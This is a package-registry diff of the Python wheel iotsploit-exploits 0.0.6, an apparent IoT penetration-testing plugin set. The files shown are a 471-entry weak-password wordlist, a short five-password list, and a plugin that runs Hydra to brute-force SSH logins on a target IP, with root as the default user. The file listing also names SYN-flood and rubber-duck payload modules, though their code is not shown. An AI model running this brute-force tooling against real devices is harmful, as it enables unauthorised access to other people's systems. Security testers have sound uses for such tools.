iotsploit-exploits 0.0.6__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (30) hide show
  1. iotsploit_exploits/__init__.py +1 -0
  2. iotsploit_exploits/adb_check/__init__.py +0 -0
  3. iotsploit_exploits/adb_check/adb_check.py +493 -0
  4. iotsploit_exploits/demo/__init__.py +0 -0
  5. iotsploit_exploits/demo/async_sleep_attack.py +106 -0
  6. iotsploit_exploits/demo/stream_data_attack.py +184 -0
  7. iotsploit_exploits/flood_attack/__init__.py +0 -0
  8. iotsploit_exploits/flood_attack/flood_attack.py +129 -0
  9. iotsploit_exploits/flood_attack/syn_flood_attack.py +233 -0
  10. iotsploit_exploits/greatfet_echo.py +103 -0
  11. iotsploit_exploits/greatfet_rubber_duck.py +417 -0
  12. iotsploit_exploits/hydra_cracker/weak_pass.txt +471 -0
  13. iotsploit_exploits/hydra_cracker/weak_pass_simple.txt +5 -0
  14. iotsploit_exploits/hydra_ssh_attack.py +159 -0
  15. iotsploit_exploits/ip_scan/__init__.py +0 -0
  16. iotsploit_exploits/ip_scan/ip_scan.py +196 -0
  17. iotsploit_exploits/nmap_scan/__init__.py +0 -0
  18. iotsploit_exploits/nmap_scan/nmap_scan.py +207 -0
  19. iotsploit_exploits/plugin_ssh.py +146 -0
  20. iotsploit_exploits/rubber_duck_scripts/linux_infogather.txt +126 -0
  21. iotsploit_exploits/rubber_duck_scripts/windows_payload.txt +93 -0
  22. iotsploit_exploits/serial/__init__.py +0 -0
  23. iotsploit_exploits/serial/picocom_serial_reader.py +704 -0
  24. iotsploit_exploits/simple_rubber_duck.py +183 -0
  25. iotsploit_exploits/wifi_scan/__init__.py +0 -0
  26. iotsploit_exploits/wifi_scan/wifi_scan.py +242 -0
  27. iotsploit_exploits-0.0.6.dist-info/METADATA +65 -0
  28. iotsploit_exploits-0.0.6.dist-info/RECORD +30 -0
  29. iotsploit_exploits-0.0.6.dist-info/WHEEL +4 -0
  30. iotsploit_exploits-0.0.6.dist-info/entry_points.txt +16 -0
@@ -0,0 +1,471 @@
1
+
2
+ 123qwe
3
+ 123asd
4
+ 123zxc
5
+ 1234qwer
6
+ Admin123
7
+ admin
8
+ ADMIN
9
+ Admin
10
+ admin@123
11
+ admin$123
12
+ admin$
13
+ adminadmin
14
+ 1
15
+ 123
16
+ 123456
17
+ 12345678
18
+ 123456789
19
+ 88888888
20
+ P@ssw0rd
21
+ P@ssw0rd12
22
+ P@ssword
23
+ P@ssword12
24
+ ADMIN@123
25
+ ABCD123
26
+ 1qaz2wsx3edc
27
+ zaq1xsw2
28
+ 3edc4rfv
29
+ vfr43edc
30
+ 2wsxcde3
31
+ user
32
+ test
33
+ guest
34
+ idc
35
+ idcidc
36
+ idc123
37
+ 4321dcba
38
+ 456
39
+ admin123
40
+ @$$w0rd
41
+ @$$word
42
+ @$$w0rd1
43
+ @$$word1
44
+ @$$w0rd123
45
+ admin234
46
+ admins
47
+ admin123456
48
+ administrator
49
+ administrators
50
+ 123456.com
51
+ 123123
52
+ idc123!@#
53
+ aaa123!@#
54
+ qq123.com
55
+ wantian##*(
56
+ qwe123
57
+ qwe1234
58
+ 123qwer
59
+ 1qaz2wsx
60
+ 1qaz
61
+ 159753
62
+ !Q@W#E
63
+ 159357
64
+ 147369
65
+ 1234567
66
+ password
67
+ aistar123<>!N
68
+ 321
69
+ idcji2010
70
+ qqqqqq
71
+ 1q2w3e
72
+ q1w2e3
73
+ 336699
74
+ abc123
75
+ 123abc
76
+ asd123
77
+ 123654
78
+ 111111
79
+ 111
80
+ 111qqq...
81
+ 953139.
82
+ 0258
83
+ 111qqq!!!
84
+ 1236
85
+ qqii
86
+ tyinfo
87
+ abcd36888
88
+ rst_login
89
+ OAOidc
90
+ OAOidc123!@#
91
+ OAOidc123
92
+ esin888
93
+ qwer
94
+ power123
95
+ power.liu
96
+ power.yu
97
+ dns99+588
98
+ zhengui
99
+ idc0.1
100
+ 7715123
101
+ sdwer
102
+ power.zhao
103
+ sdwer123
104
+ qwer1234
105
+ esincs
106
+ jspower123.0
107
+ 5656789
108
+ 2323456
109
+ power.com
110
+ power123.0
111
+ power0.123
112
+ jspower.com
113
+ hlwj0519-1205.jf
114
+ 123321
115
+ zaxscdvf
116
+ ..0
117
+ !@#$QWER
118
+ 95313
119
+ 1231321
120
+ 321123
121
+ vipnew
122
+ idc0514
123
+ 1235698
124
+ 235689
125
+ 326598
126
+ 112233
127
+ 111222
128
+ idc11
129
+ 21vianet
130
+ #@!ewq
131
+ 1010
132
+ 111qqq
133
+ 1234%^&*
134
+ 12345^&*()
135
+ 4867086
136
+ 123!@#
137
+ 123456!@#
138
+ 10000
139
+ 794613
140
+ 784512
141
+ 895623
142
+ 789456
143
+ 456123
144
+ 654321
145
+ 1234!@#$
146
+ 11185
147
+ 12345!@#$%
148
+ qwe123!@#
149
+ !@#123
150
+ !@#321
151
+ 123#@!
152
+ 19861212
153
+ 19831212
154
+ 19841020
155
+ #@!123
156
+ #@!321
157
+ !@#$%^&*()
158
+ )(*&^%$#@!
159
+ 987654321
160
+ 0987654321
161
+ tyidc
162
+ 1122
163
+ idcidcok
164
+ idcuser
165
+ abcd1234
166
+ 4321abcd
167
+ 1234abcd
168
+ 1234ABCD
169
+ 4321ABCD
170
+ caonima
171
+ 1q2w3e4r
172
+ 888888
173
+ admin!@#
174
+ abc!@#
175
+ !Q@W#E$R%T
176
+ idc2010
177
+ 1q2w3e4r5t
178
+ qqaazz
179
+ asdasd
180
+ admin1
181
+ aaa111
182
+ 111aaa
183
+ 123aaa
184
+ lh222
185
+ lhidc
186
+ 123a
187
+ a123
188
+ 123456a
189
+ a123456
190
+ aaa123
191
+ qazwsx
192
+ qazxsw
193
+ 0123
194
+ 123112233
195
+ 123111
196
+ www.7x24.cn
197
+ shisp.net
198
+ 123000
199
+ idc0123
200
+ 1230..
201
+ 123456qwe
202
+ 12345qwert
203
+ zxcvbnm
204
+ qwerty
205
+ qweqwe
206
+ 123ewq
207
+ qwe321
208
+ huaiyukeji115
209
+ idc9aewr42
210
+ 123asdasd
211
+ qsx6059410172.
212
+ idc0001
213
+ idc800888
214
+ idc46121
215
+ 882627.8
216
+ 852799!!!
217
+ .......199
218
+ xu15817079919
219
+ yanjin0429
220
+ zhangznw
221
+ 13527380230
222
+ idc0.01
223
+ idc123&123
224
+ 662766
225
+ 122.224
226
+ .......199@
227
+ liuzhangzi1988
228
+ 123456!@#$%^
229
+ dahouzi110
230
+ 123.789+
231
+ trista188#**
232
+ mm1237
233
+ 07736056123
234
+ TnHoo15862380404
235
+ 189532210113
236
+ gedingfeng1102888
237
+ 1234.abcABC
238
+ zaq123.321
239
+ qwer1234!@#$
240
+ 123456abc
241
+ 123+456+789
242
+ 123.456.789
243
+ 123+123
244
+ 000000
245
+ 258
246
+ qwe147258
247
+ qwe147
248
+ 147147
249
+ 258258
250
+ 369369
251
+ 147258369
252
+ 741852963
253
+ 1234ASDFasdf
254
+ 1234qwerQWER
255
+ 1234asdfASDF
256
+ 123QWErty
257
+ 123QWE456tyu
258
+ 123123a
259
+ a123123
260
+ ezidc123
261
+ EZidz123
262
+ Ezidc123
263
+ EZidc
264
+ idc!@#
265
+ idc!!@@##
266
+ 123qazwsx
267
+ 123qweasd
268
+ !qaz@wsx
269
+ !qaz@WSX
270
+ !QAZ@WSX
271
+ ASDF1234
272
+ ASDF1234!@#$
273
+ 123.456
274
+ 1qazxsw2
275
+ 1QAZxsw2
276
+ !QAZxsw2
277
+ !QAZXSW@
278
+ asdf1234!@#$
279
+ 1234!@#$qwer
280
+ 1234asdf!@#$
281
+ 1234!@#$asdf
282
+ asdf!@#$1234
283
+ ZXCasdqwe
284
+ QWEasd!@#
285
+ QWEasd123
286
+ zzidc123
287
+ ZZidc123
288
+ idczz123
289
+ qq.COM
290
+ RInima
291
+ 123!123
292
+ QWEasd
293
+ Admin!@#
294
+ A123456A
295
+ A123a123
296
+ 1234asdf
297
+ 1234zxcv
298
+ 123456qwert
299
+ 123qwe456rty
300
+ 321abc
301
+ 321.abc
302
+ 123.abc
303
+ 1234.abcd
304
+ 123456.123456
305
+ 123456456
306
+ 654321abc
307
+ abcABC123
308
+ ASD.123
309
+ 000123!@#
310
+ 2013@2013
311
+ 2012@2012
312
+ 520@1314
313
+ 123.qwe
314
+ 123.asd
315
+ 123.zxc
316
+ 1234.qwer
317
+ 1234.asdf
318
+ 1234.zxcv
319
+ 123$qwer
320
+ 123321abc
321
+ 123a321
322
+ 1qaz123
323
+ 1qaz123456
324
+ 1qaz741
325
+ 123qazwsxedc
326
+ 123qweasdzxc
327
+ qweasd2012
328
+ 654321qweasd
329
+ 987456321
330
+ 123654789
331
+ 123qwe456asd
332
+ 123asd456zxc
333
+ qwe0asd
334
+ qwe@asd
335
+ qwe@asd123
336
+ 1qazXSW@
337
+ !QAZ2wsx
338
+ 1qaz@WSX
339
+ 1qaz2WSX
340
+ 1qaz@WSX123
341
+ 6543211qaz@WSX
342
+ 1231qaz@WSX
343
+ 1231qaz2wsx
344
+ qweASD
345
+ qweASD123
346
+ 1qaz@WSX2012
347
+ 1qaz@WSX3edc
348
+ @WSX1qaz
349
+ 2012qwer1234
350
+ 2012qwerasd
351
+ 2012abc
352
+ Knb1lQc2
353
+ 9ol.0p;/
354
+ 2012qwe
355
+ 2012asd
356
+ 2012zxc
357
+ 2012abcd
358
+ 2012qweasd2012
359
+ @WSX#EDC
360
+ #EDC$RFV
361
+ $RFV%TGB
362
+ %TGB^YHN
363
+ ^YHN&UJM
364
+ &UJM*IK<
365
+ *IK<(OL>
366
+ (OL>)P:?
367
+ 2wsx3edc
368
+ 4rfv5tgb
369
+ 5tgb6yhn
370
+ 6yhn7ujm
371
+ 7ujm8ik,
372
+ 8ik,9ol.
373
+ qazwsxedc2012
374
+ zaqxswcde2012
375
+ zaqxswcde
376
+ 123,./
377
+ 123456,./
378
+ 123456789,./
379
+ qwe123,./
380
+ qwer1234,./
381
+ asd123,./
382
+ zxc123,./
383
+ abc123,./
384
+ zxcvbnm123
385
+ qwe@123123
386
+ password.123
387
+ xxxxxx
388
+ a123.321
389
+ a1234.1234
390
+ qsc123qwe
391
+ 789qwe123
392
+ 789qwe&*(
393
+ 123qwe!@#
394
+ caonima,./
395
+ good.123
396
+ good123!@#
397
+ server1234ASDF
398
+ 1234QWER
399
+ p0o9i8
400
+ p0o9i8,./
401
+ 123zxc456
402
+ 123asd456
403
+ qwer1234asdf
404
+ qwe123asd!@#
405
+ !qaz2WSX
406
+ 1QAZ2wsx
407
+ q!w@e#r$t%
408
+ sqlsql1433
409
+ 00123456..
410
+ 00123456...
411
+ qwaasz!@#
412
+ qweaasdzxc
413
+ happynewyear
414
+ aa123456
415
+ aasd123456
416
+ aasd.12345
417
+ Abcd1234
418
+ idc200999
419
+ !2#4%6
420
+ !2#4%6&
421
+ ZAQ!2wsx
422
+ ZAQ!xsw2
423
+ !QWE!asd
424
+ QWE!asd!
425
+ qwe!asd!
426
+ qwe!@#asd
427
+ qwe!@#asd!@#
428
+ ewq1rew2tre3
429
+ happy2013
430
+ 2013happy
431
+ 2012happy
432
+ 2013.happy
433
+ qwer01234!!!
434
+ qwer01234!@#$
435
+ qwer.01234
436
+ shabiniqusi
437
+ nishi2b
438
+ 2013woquni
439
+ 1314woquni
440
+ 2013104quni
441
+ 20122012
442
+ 20122013
443
+ 20132013
444
+ 20132014
445
+ niqusibani
446
+ AdMin123
447
+ aDmin123
448
+ Admin2013
449
+ kiss2012
450
+ Kiss2013
451
+ hp123456
452
+ 7u8i9o0p
453
+ 6y7u8i9o0p
454
+ wobashiligang
455
+ nibashinigang
456
+ TMD123!@#
457
+ Tmd123456!@#
458
+ 123456QWEASD%
459
+ jnstyle
460
+ 3389style
461
+ 2012style
462
+ 2013style
463
+ style123!@#
464
+ style123456
465
+ style12345
466
+ 12345style
467
+ style789789
468
+ style20122012
469
+ style520
470
+ 3gqq.com
471
+ ghb123456!
@@ -0,0 +1,5 @@
1
+ 123
2
+ 123123
3
+ 123456
4
+ 999999
5
+ qwerqwer
@@ -0,0 +1,159 @@
1
+ #!/usr/bin/python3
2
+
3
+ import logging
4
+ import pluggy
5
+ from importlib.resources import files
6
+ from typing import Optional
7
+ from iotsploit_core.core.exploit_spec import ExploitResult
8
+ from iotsploit_core.core.base_plugin import BasePlugin
9
+ from iotsploit_core.core.tool_service import get_network_service
10
+
11
+ logger = logging.getLogger(__name__)
12
+ hookimpl = pluggy.HookimplMarker("exploit_mgr")
13
+
14
+
15
+ def _extract_ip_from_target(target: Optional[dict]) -> Optional[str]:
16
+ """
17
+ Extract IP address from target dict.
18
+
19
+ Design decision:
20
+ - Plugin runs in dict mode at the boundary.
21
+ - The canonical key for IP is `ip_address` (consistent with core domain Target.get_info()).
22
+ """
23
+ if not isinstance(target, dict):
24
+ return None
25
+ ip = target.get("ip_address") or target.get("ip") or target.get("host")
26
+ if isinstance(ip, str) and ip.strip():
27
+ return ip.strip()
28
+ return None
29
+
30
+ class HydraSSHAttackPlugin(BasePlugin):
31
+ def __init__(self):
32
+ super().__init__({
33
+ 'Name': 'Hydra SSH Attack',
34
+ 'Description': 'Performs a brute-force SSH password attack using Hydra.',
35
+ 'License': 'GPL',
36
+ 'Author': ['iotsploit'],
37
+ 'RequiresRoot': False,
38
+ 'Parameters': {
39
+ 'username': {
40
+ 'type': 'str',
41
+ 'required': True,
42
+ 'description': 'Username for SSH login',
43
+ 'default': 'root'
44
+ },
45
+ 'password_list': {
46
+ 'type': 'str',
47
+ 'required': True,
48
+ 'description': 'Path to the password list file',
49
+ 'default': str(files('iotsploit_exploits') / 'hydra_cracker' / 'weak_pass.txt')
50
+ },
51
+ 'threads': {
52
+ 'type': 'int',
53
+ 'required': False,
54
+ 'description': 'Number of parallel threads',
55
+ 'default': 4
56
+ },
57
+ 'port': {
58
+ 'type': 'int',
59
+ 'required': False,
60
+ 'description': 'SSH port number',
61
+ 'default': 22
62
+ }
63
+ }
64
+ })
65
+ self.network_service = get_network_service()
66
+
67
+ @hookimpl
68
+ def initialize(self, device_plugin=None):
69
+ logger.debug("Initializing HydraSSHAttackPlugin")
70
+
71
+ # Check if hydra is available through the tool service
72
+ if not self.network_service.is_tool_available('hydra'):
73
+ logger.warning("Hydra is not available. Please install it to use this plugin.")
74
+ logger.info("Install hydra using: sudo apt install hydra (Debian/Ubuntu) or your system's package manager")
75
+ else:
76
+ logger.info("Hydra tool is available and ready to use")
77
+
78
+ @hookimpl
79
+ def execute(self, target: Optional[dict] = None, parameters: Optional[dict] = None) -> ExploitResult:
80
+ logger.info("Executing HydraSSHAttackPlugin")
81
+ try:
82
+ # Execute the attack
83
+ result = self._execute_attack(target, parameters)
84
+ return result
85
+
86
+ except Exception as e:
87
+ logger.error(f"Error during Hydra SSH attack: {str(e)}")
88
+ return ExploitResult(False, f"Hydra SSH attack failed: {str(e)}", {})
89
+
90
+ def _execute_attack(self, target: Optional[dict], parameters: Optional[dict]) -> ExploitResult:
91
+ """Helper method to execute the actual attack"""
92
+ logger.info(f"Executing HydraSSHAttackPlugin with target: {target} and parameters: {parameters}")
93
+
94
+ # Check if hydra is available
95
+ if not self.network_service.is_tool_available('hydra'):
96
+ return ExploitResult(False, "Hydra tool is not available. Please install it first.", {})
97
+
98
+ # Extract IP from target dict (normalized by exploit_manager)
99
+ target_ip = _extract_ip_from_target(target)
100
+ if not target_ip:
101
+ logger.warning("No valid target IP. Expected dict with 'ip_address' key.")
102
+ return ExploitResult(False, "Missing target ip_address (dict target expected)", {})
103
+
104
+ # Get parameters with defaults
105
+ parameters = parameters or {}
106
+ username = parameters.get('username', self.info['Parameters']['username']['default'])
107
+ password_list = parameters.get('password_list', self.info['Parameters']['password_list']['default'])
108
+ threads = parameters.get('threads', self.info['Parameters']['threads']['default'])
109
+ port = parameters.get('port', self.info['Parameters']['port']['default'])
110
+
111
+ logger.info(f"Starting SSH brute force attack on {target_ip}:{port} with username '{username}'")
112
+
113
+ try:
114
+ # Build Hydra command arguments
115
+ args = [
116
+ '-t', str(threads),
117
+ '-l', username,
118
+ '-P', password_list
119
+ ]
120
+
121
+ # Add port if not default
122
+ if port != 22:
123
+ args.extend(['-s', str(port)])
124
+
125
+ # Add target with protocol
126
+ args.append(f'ssh://{target_ip}')
127
+
128
+ logger.info(f"Executing Hydra with args: {args}")
129
+
130
+ # Use the network service to execute Hydra
131
+ result = self.network_service.execute_tool('hydra', args, timeout=600)
132
+
133
+ if result.success:
134
+ logger.info(f"Hydra SSH attack completed successfully")
135
+ return ExploitResult(True, "Hydra SSH attack executed successfully", {
136
+ "output": result.stdout,
137
+ "execution_time": result.execution_time,
138
+ "command": result.command
139
+ })
140
+ else:
141
+ logger.warning(f"Hydra SSH attack completed with return code {result.return_code}")
142
+ return ExploitResult(False, "Hydra SSH attack failed to find credentials", {
143
+ "output": result.stdout,
144
+ "error": result.stderr,
145
+ "return_code": result.return_code,
146
+ "execution_time": result.execution_time
147
+ })
148
+
149
+ except RuntimeError as e:
150
+ logger.error(f"Tool execution error: {str(e)}")
151
+ return ExploitResult(False, f"Tool execution error: {str(e)}", {})
152
+ except Exception as e:
153
+ logger.error(f"Unexpected error during Hydra execution: {str(e)}")
154
+ return ExploitResult(False, f"Unexpected error: {str(e)}", {})
155
+
156
+ @hookimpl
157
+ def cleanup(self):
158
+ logger.info("Cleaning up HydraSSHAttackPlugin")
159
+ pass
File without changes